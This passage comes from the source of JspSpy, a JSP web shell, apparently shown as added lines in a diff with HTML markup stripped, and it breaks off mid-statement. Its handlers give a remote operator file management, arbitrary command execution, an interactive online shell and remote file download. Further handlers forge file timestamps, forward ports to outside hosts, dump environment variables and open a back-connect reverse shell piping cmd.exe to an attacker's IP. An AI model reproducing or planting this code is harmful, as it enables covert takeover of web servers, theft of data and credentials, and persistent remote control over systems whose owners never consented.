+JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
    "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

    File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

    "); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Current Directory
    "+ +"
    "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
    "+ +"
    "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
     NameLast ModifiedSizeRead/Write/Execute 
    =Goto Parent
    0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
    "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
     Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
    "); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
    Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
    "+ +"
    "+ +"

    Set File Property »

    "+ +"

    Current file (fullpath)

    "+ +" "+ +"

    Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

    "+ +"

    Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
    "+ +"
    "+ +"

    Execute Program »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "+ +"

    Execute Shell »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

    "); +out.println("
    ");
    +String command = request.getParameter("command");
    +if (!Util.isEmpty(command)) {
    +Process pro = Runtime.getRuntime().exec(command);
    +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    +String s = reader.readLine();
    +while (s != null) {
    +out.println(Util.htmlEncode(Util.getStr(s)));
    +s = reader.readLine();
    +}
    +reader.close();
    +out.println("
    "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
    "+ +"
    "+ +"

    Remote File DownLoad »

    "+ +"

    "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String src = request.getParameter("src"); +String target = request.getParameter("to"); +if (!Util.isEmpty(target) && !Util.isEmpty(src)) { +File file = new File(src); +if(file.renameTo(new File(target))) { +JSession.setAttribute(MSG,"Move File Success!"); +} else { +String msg = "Move File Failed!"; +if (file.isDirectory()) { +msg += "The Move Will Failed When The Directory Is Not Empty."; +} +JSession.setAttribute(MSG,msg); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class RemoteDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String dir = request.getParameter("dir"); +File file = new File(dir); +if (file.exists()) { +deleteFile(file); +deleteDir(file); +} + +JSession.setAttribute(MSG,"Remove Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +public void deleteFile(File f) { +if (f.isFile()) { +f.delete(); +}else { +File[] list = f.listFiles(); +for (File ff:list) { +deleteFile(ff); +} +} +} +public void deleteDir(File f) { +File[] list = f.listFiles(); +if (list.length == 0) { +f.delete(); +} else { +for (File ff:list) { +deleteDir(ff); +} +deleteDir(f); +} +} +} +private static class PackBatchInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (Util.isEmpty(files)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String[] arr = files.split(","); +for (String f:arr) { +File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f); +ZipEntry entry = new ZipEntry(pF.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(pF); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +zout.close(); +JSession.setAttribute(MSG,"Pack Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class PackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String packedFile = request.getParameter("packedfile"); +if (Util.isEmpty(packedFile)) +return; +String saveFileName = request.getParameter("savefilename"); +File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName); +if (saveF.exists()) { +JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +File pF = new File(packedFile); +ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF))); +String base = ""; +if (pF.isDirectory()) { +zipDir(pF,base,zout); +} else { +zipFile(pF,base,zout); +} +zout.close(); +JSession.setAttribute(MSG,"Pack File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +public void zipDir(File f,String base,ZipOutputStream zout) throws Exception { +if (f.isDirectory()) { +File[] arr = f.listFiles(); +for (File ff:arr) { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/")) +tmpBase += "/"; +zipDir(ff,tmpBase+f.getName(),zout); +} +} else { +String tmpBase = base; +if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/")) +tmpBase += "/"; +zipFile(f,tmpBase,zout); +} +} +public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{ +ZipEntry entry = new ZipEntry(base+f.getName()); +zout.putNextEntry(entry); +FileInputStream fInput = new FileInputStream(f); +int len = 0; +byte[] buf = new byte[1024]; +while ((len = fInput.read(buf)) != -1) { +zout.write(buf, 0, len); +zout.flush(); +} +fInput.close(); +} +} +private static class UnPackInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String savepath = request.getParameter("savepath"); +String zipfile = request.getParameter("zipfile"); +if (Util.isEmpty(savepath) || Util.isEmpty(zipfile)) +return; +File save = new File(savepath); +save.mkdirs(); +ZipFile file = new ZipFile(new File(zipfile)); +Enumeration e = file.entries(); +while (e.hasMoreElements()) { +ZipEntry en = (ZipEntry) e.nextElement(); +String entryPath = en.getName(); +int index = entryPath.lastIndexOf("/"); +if (index != -1) +entryPath = entryPath.substring(0,index); +File absEntryFile = new File(save,entryPath); +if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) +absEntryFile.mkdirs(); +BufferedOutputStream output = null; +BufferedInputStream input = null; +try { +output = new BufferedOutputStream( +new FileOutputStream(new File(save,en.getName()))); +input = new BufferedInputStream( +file.getInputStream(en)); +byte[] b = new byte[1024]; +int len = input.read(b); +while (len != -1) { +output.write(b, 0, len); +len = input.read(b); +} +} catch (Exception ex) { +} finally { +try { +if (output != null) +output.close(); +if (input != null) +input.close(); +} catch (Exception ex1) { +} +} +} +file.close(); +JSession.setAttribute(MSG,"Unzip File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VMapPort +private static class VmpInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object localIP = JSession.getAttribute("localIP"); +Object localPort = JSession.getAttribute("localPort"); +Object remoteIP = JSession.getAttribute("remoteIP"); +Object remotePort = JSession.getAttribute("remotePort"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("localIP"); +JSession.removeAttribute("localPort"); +JSession.removeAttribute("remoteIP"); +JSession.removeAttribute("remotePort"); +JSession.removeAttribute("done"); +if (Util.isEmpty(localIP)) +localIP = InetAddress.getLocalHost().getHostAddress(); +if (Util.isEmpty(localPort)) +localPort = "3389"; +if (Util.isEmpty(remoteIP)) +remoteIP = "www.forjj.com"; +if (Util.isEmpty(remotePort)) +remotePort = "80"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    PortMap >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Local Ip :"+ +" "+ +" Local Port :"+ +" Remote Ip :"+ +" Remote Port :"+ +"

    "+ +" "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +""+ +"

    Back Connect >>

    "+ +"
    "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

    "+ +" "+ +"
    "+ +"
    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

    System Properties >>

    "+ +"
    "+ +"
    "+ +"
      "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
    • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
    • "); +} +out.println("

    System Environment >>


      "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
    • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
    • "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
    Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
    "); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "); +out.println("

    Shell OnLine »


    "); +out.println("
    "+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
    "+ +"
    "+ +" "+ +"
    "+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
    "+ +" " +); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//????????? +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new 